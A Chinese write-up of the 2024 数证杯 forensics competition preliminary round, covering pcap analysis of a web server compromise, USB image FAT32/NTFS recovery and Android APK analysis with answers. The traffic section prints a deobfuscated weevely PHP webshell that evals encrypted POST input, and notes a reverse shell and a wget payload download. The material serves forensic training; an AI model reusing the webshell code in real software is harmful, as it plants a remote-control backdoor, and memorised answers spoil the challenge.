2024数证杯电子取证比赛初赛(部分)

网络流量分析

1. [填空题]分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10) (2分)

3405

使用Wireshark打开"流量分析.pcapng",点击上方菜单栏中"统计"按钮,点击"捕获文件属性"

2. [填空题]分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?(答案格式:10D32) (2分)

23F79

在"捕获文件属性"中查看"捕获"分组,可知抓取该流量包时使用计算机操作系统的build版本

3. [填空题]分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1) (2分)

192.168.75.131

统计->会话,看攻击行为

统计"按钮,在展开的选项中点击"IPv4 Statistics"-"All Addresses"显示捕获数据包中所有出现过的IPv4地址的统计信息

在弹出的页面中点击"Percent"对每个IPv4地址在网络通信中所占的比例进行排序,可发现IP地址192.168.75.132和192.168.75.131的占比异常,对其进行排查。

在数据包的起始位置可发现IP地址192.168.75.132一直在扫描,怀疑为攻击方

发现存在"nmap"相关的数据包,点击HTTP协议中GET请求的数据包,可发现源地址为192.168.75.132,目的地址为192.168.75.131,因此可确认受害者的IP地址是192.168.75.131

4. [填空题]分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu) (2分)

ubuntu

可直接查看源IP地址为192.168.75.131的HTTP协议的数据包,在HTTP头信息中即可得知受害者所使用的操作系统

5. [填空题]分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc) (2分)

nmap

811流开始进行端口扫描

扫完后有nmap信息

6. [填空题]分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1) (2分)

3.1.0

看源IP地址为192.168.75.132的HTTP协议的数据包,在HTTP头信息中可查看到攻击者使用的漏洞检测工具为Wfuzz,版本号为3.1.0

7. [填空题]分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php) (2分)

/dbadmin/test_db.php

在HTTP协议中登录请求一般使用POST方式发送,且常常包含login字段,因此在过滤栏中输入命令http and http.request.method==POST and http contains "login"过滤数据包中的HTTP协议POST请求及包含login字段的数据包,即可得到攻击者通过目录扫描得到的 phpliteadmin

8. [填空题]分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写) (2分)

admin

http.request.uri.path=="/dbadmin/test_db.php"

过滤一下可以找到登陆后进行操作的流,第一个流是457536

往上找第一个就是登录成功的账号密码

或者追踪进流里面看也可以

9. [填空题]分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt) (4分)

demo.php

在过滤栏中输入命令http contains "phpinfo"过滤包含"phpinfo"字段的数据包

右键最后一个数据包,追踪HTTP流,在返回的结果中向下寻找HTTP响应码为200的数据包,右键POST请求后返回的数据,点击"显示分组字节",将显示方式调整为HTML,可看到攻击者创建的 phpinfo 页面文件名是demo.php

10. [填空题]分析网络流量包检材,攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?(答案格式:abc.txt) (4分)

rev.txt

受害者使用的操作系统为ubuntu,在ubuntu中最为常见的下载工具是wget,猜测使用wget

http contains "wget"进行过滤

写马从192.168.75.132下载了rev.txt

11. [填空题]分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234) (4分)

192.168.75.132:30127

追踪分析rev.txt

也可以直接在过滤栏中输入命令http contains "shell"进行数据包过滤

12. [填空题]分析网络流量包检材,攻击者电脑所使用的Python版本号是?(答案格式:1.1.1) (2分)

3.11.8

拉webshell的时候,从攻击者电脑会下载显示出来。

13. [填空题]分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp) (2分)

wordpress

由第11题可知攻击者反弹shell的端口是30127,反弹shell是tcp协议,使用命令not http and tcp.flags.push==1 and tcp.port==30127进行过滤

右键返回的数据包追踪TCP流可查看攻击者输入的历史命令,可知受害者服务器中网站所使用的框架结构是wordpress

14. [填空题]分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写) (4分)

sWfCsfJSPV9H3AmQzw8

同上一题,在追踪的TCP流中可知攻击者获取到的数据库密码是sWfCsfJSPV9H3AmQzw8

15. [填空题]分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306) (2分)

2000

在上一题追踪的TCP流中可知上传的weevely木马是help.php,使用的端口号为2000

16. [填空题]分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案 格式:按实际值填写) (4分)

57638

由上题可知攻击者上传的weevely木马文件名称为help.php

查找第一个向help.php发送POST请求的数据包,追踪该数据包的数据

使用去除混肴后的php脚本解密数据包,传输的请求和返回都在cbbf9691e00985a89e92c410之间,得到该木马第一次执行时获取到的缓冲区内容是57638

gpt跑出来解混淆后的脚本

$k = "c6ae1e70";
$kh = "cbbf9691e009";
$kvf = "85a89e92c410";
$p = "dzINRg";

function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l; ) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t[$i] ^ $k[$j % $c];
        }
    }
    return $o;
}

if (@preg_match("/$kh(.+)$kvf/", @file_get_contents("php://input"), $mv) == 1) {
    @ob_start();
    @eval(@gzuncompress(@x(@gzcompress(@base64_decode($mv[1]), $k), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $kvf));
    print("$p$kh$r$kvf");
}

解密脚本

<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
  for($j=0;($j<$c&&$i<$l);$j++,$i++){
    $o.=$t{$i}^$k{$j};
    }
    }
    return $o;
    }
$msg = "G6pSUAZWgTBjNUtkPw==";
echo(@gzuncompress(@x(@base64_decode($msg),$k)));
?>

U盘取证

25. 对U盘镜像进行分析,其镜像中共有几个分区?(填写数字,答案格式如:1234) (2分)

2

MBR中识别出来的两个分区

或者R-Studio直接扫描,MBR中识别出来的两个分区,DBR皆被损坏,无法正常解析文件系统;通过格式化恢复,可以扫描出两个分区,与MBR记录的对应起来。

26. 对U盘镜像进行分析,其中FAT32主分区的FAT表数量有几个?(请使用十进制数方式填写答案,答案格式:1234) (2分)

1

R-Studio恢复结果,查看格式化恢复出来的FAT32的属性信息,FAT表只有1个。

27. 对U盘镜像进行分析,其中FAT32主分区定义的每扇区字节数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

512

R-Studio恢复结果,查看格式化恢复出来的FAT32的属性信息,簇大小为4K,8个扇区,定义的扇区大小为512

  • 簇大小 = 4096字节(4K)
  • 每个簇的扇区数 = 8
  • 每个扇区的大小 = 4096字节 / 8 = 512字节
28. 对U盘镜像进行分析,其中FAT32主分区的文件系统前保留扇区数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

7345

FAT32主分区文件系统前的保留扇区数,指的是FAT32文件系统分区起始到FAT1表位置的扇区数。

以下图1,发现0x10200位置为FAT32的FSINFO扇区标识(位于1号扇区),因此,FAT32分区起始位置为0x100000。

以下图2,搜索FAT表数据的第一个表项数据,F8FFFF0F通常代表是个磁盘,8FFFF0F是一个特定的十六进制数,它通常出现在FAT表的开始部分。位置为0x496200。由此计算,保留扇区数为:(0x496200 -- 0x100000) / 0x200 = 0x1CB1 = 7345

或者看分区1跳过来是第2048扇区,FAT表是第9393扇区。两者相减得到,结果为7345

29. [填空题]对U盘镜像进行分析,其中FAT32主分区的FAT1表相对于整个磁盘的起始扇区数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

9393

搜索的FAT表现起始位置

30. [填空题]对U盘镜像进行分析,其中NTFS逻辑分区的$MFT起始簇号为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

39082

先确认NTFS文件系统的起始位置:一般情况下,NTFS的$BOOT文件占用NTFS文件系统的0-15号扇区,0号扇区为NTFS的DBR,1号扇区有BOOTMGR的标志,通过WINHEX可以查看,NTFS文件系统起始位置为0x1AC10000,DBR被人为清空。

确认MFT的起始位置。NTFS文件系统MFT记录头部签名为"FILE0",可以直接使用WINHEX进行搜索。另外,NTFS文件系统除了MFT存储MFT记录外,还有MFTMirr记录MFT记录的前四个记录,前两个一般固定为MFT和MFTMirr元文件的MFT记录。下图为直接使用WINHEX搜索签名的搜索结果,在0x1AC12000位置有4个MFT记录,通常情况下,MFTMirr刚好位于2号簇,都对应起来,因此,确认0x1AC12000为$MFTMirr的起始位置。

继续查看搜索结果,下一个MFT元文件的MFT记录位于0x244BA000位置,可以确认此处即为MFT元文件起始位置(前面还搜索到很多FILE0记录,实际上为LOG文件记录的日志信息等,此处需要注意些)。即MFT元文件起始簇号计算:0x2 + (0x244BA000 - 0x1AC12000) / 1000 = 0x98A8 = 39082

31. [填空题]对U盘镜像进行分析,其中NTFS逻辑分区的簇大小为多少个扇区?(请使用十进制数方式填写答案,答案格式:1234) (4分)

8

R-Studio格式化恢复结果,查看NTFS分区的属性,簇大小为4K,8个扇区。

32. [填空题]对U盘镜像进行分析,请从该镜像的两个分区中找出使用"新建文本文档.txt"记录的同一个MD5值的两部分信息,并写出该MD5值的第13--20位字符串。(答案格式:大写字母与数字组合,如:D23DDF44) (4分)

D668AEE2

从FAT32格式化恢复结果中,发现一张被认为损坏的图片:

导出进行头部修改

另外一张

程序功能分析

9. [填空题]分析检材APK中检材-01.apk,获取其md5(128bit)校验值的后八位?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

CEAEBF87

10. [填空题]分析检材APK中检材-01.apk,请写出app的包名?(答案格式:com.xxx.xxx) (2分)

com.changbo.pro

11. [填空题]接上题,请给出app的加固方式;(答案格式:梆梆) (2分)

360

12. [填空题]接上题,请给出app启动时主页面显示的activity名称;(答案格式:com.xxx.xxx.Mainactivity) (2分)

com.changbo.pro.ui.home.MainActivity

是成功启动后的?而不是入口

13. [填空题]分析检材APK中检材-01.apk,请给出加密的访问地址的数据是? (4分)

nCTC3EZ+il7D3P/0HglgduhUqlJikQwK

在文本资源里找到定义的app_s

查一下引用

跟到后面都可以发现解密方法

里面好像有检测hook的方法,算法助手hook一下直接

14. [填空题]分析检材APK中检材-01.apk,请给出解密后的域名为?(答案格式:需要加上端口号,如:http://tieba.com:6666) (4分)

http://yueze.cc:8777

15. [填空题]接上题,请给出解密调用的so的名称;(答案格式:abc_amm) (4分)

arm_classes4

跳转一下核心解密方法

16. [填空题]对检材APK中检材-02.apk分析,获取其中的flag;(答案格式:flag{ISEC-C6d-ddd-7gd}) (4分)

flag{ISEC-C4n_U_f1nd_th3_10st_2Ip_p455Word}

原题:23柏鹭杯-misc - WXjzc - 博客园

17. [填空题]对检材APK中检材-03.apk分析,获取其中的flag;(答案格式:flag{ISEC-C6d-ddd-7gd}) (4分)

flag{ISEC-41a2369f6b586047b628d570c11d66f1}

原题:23柏鹭杯-misc - WXjzc - 博客园

参考资料:

2024"数证杯"初赛流量部分赛题WP

2024数证杯初赛U盘镜像WP

2024数证杯初赛 - WXjzc - 博客园

相关推荐
A懿轩A8 分钟前
C/C++ 数据结构与算法【栈和队列】 栈+队列详细解析【日常学习,考研必备】带图+详细代码
c语言·数据结构·c++·学习·考研·算法·栈和队列
居居飒18 分钟前
Android学习(四)-Kotlin编程语言-for循环
android·学习·kotlin
YRr YRr25 分钟前
解决Ubuntu 20.04上编译OpenCV 3.2时遇到的stdlib.h缺失错误
linux·opencv·ubuntu
认真学习的小雅兰.27 分钟前
如何在Ubuntu上利用Docker和Cpolar实现Excalidraw公网访问高效绘图——“cpolar内网穿透”
linux·ubuntu·docker
zhou周大哥42 分钟前
linux 安装 ffmpeg 视频转换
linux·运维·服务器
kkflash31 小时前
提升专业素养的实用指南
学习·职场和发展
不想起昵称9291 小时前
Linux SHELL脚本中的变量与运算
linux
loong_XL1 小时前
服务器ip:port服务用nginx 域名代理
服务器·tcp/ip·nginx
1 9 J1 小时前
数据结构 C/C++(实验五:图)
c语言·数据结构·c++·学习·算法
夕泠爱吃糖1 小时前
C++中如何实现序列化和反序列化?
服务器·数据库·c++